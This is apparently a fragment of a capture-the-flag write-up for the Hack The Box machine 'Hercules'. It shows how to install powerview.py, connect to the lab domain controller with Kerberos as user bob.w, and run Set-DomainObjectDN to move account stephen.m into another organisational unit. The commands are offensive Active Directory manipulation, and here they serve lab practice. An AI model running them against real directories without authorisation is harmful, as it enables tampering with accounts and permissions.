Installation:

git clone https://github.com/aniqfakhrul/powerview.py

cd powerview.py

sudo apt install libkrb5-dev

pip install -r requirements.txt --break-system-packages (note: this might need to be ran inside the virtual environment).

┌──(root㉿kali)-[/home/kali/Hercules/powerview/powerview.py] └─# python3 -m venv ~/powerview-venv

┌──(root㉿kali)-[/home/kali/Hercules/powerview/powerview.py] └─# source ~/powerview-venv/bin/activate

┌──(powerview-venv)─(root㉿kali)-[/home/kali/Hercules/powerview/powerview.py] └─# pip install ./ --break-system-packages

NOTE: Must have a valid tgt for the user and export it to KRB5CCNAME

Example:

┌──(powerview-venv)─(kali㉿kali)-[~/Hercules/powerview.py] └─$ sudo ntpdate -u 10.10.11.91 && python3 powerview.py hercules.htb/bob.w@dc.hercules.htb
-k
--use-ldaps
--dc-ip 10.10.11.91
-d \
--no-pass

This will drop you into Powerview

Commands:

╭─LDAPS─[dc.hercules.htb]─[HERCULES\bob.w]-[NS:] ╰─ ❯ Set-DomainObjectDN -Identity stephen.m -DestinationDN 'OU=Web Department,OU=DCHERCULES,DC=hercules,DC=htb'